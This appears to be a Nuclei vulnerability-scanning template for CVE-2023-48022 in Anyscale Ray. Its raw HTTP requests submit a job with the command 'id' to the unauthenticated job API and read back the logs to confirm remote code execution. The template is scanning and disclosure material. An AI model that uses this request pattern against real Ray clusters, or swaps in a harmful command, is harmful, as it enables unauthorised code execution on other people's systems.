id: CVE-2023-48022

info:
  name: "Anyscale Ray - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Anyscale Ray 2.6.3 and 2.8.0 allows a remote attacker to execute arbitrary code via the job submission API.
    NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is
    not intended for use outside of a strictly controlled network environment.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-48022&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ray&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-48022
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2023,rce,ray,anyscale,vkev,vuln
variables:
  jobid: "Job_{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "entrypoint": "id",
          "submission_id": "{{jobid}}"
        }

      - | # wait for 8 seconds before getting the logs
        GET / HTTP/1.1
        Host: {{Hostname}}

        {{wait_for(8)}}

      - |
        GET /api/jobs/{{jobid}}/logs HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "logs\":")'
          - 'contains(content_type, "application/json")'
          - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
        condition: and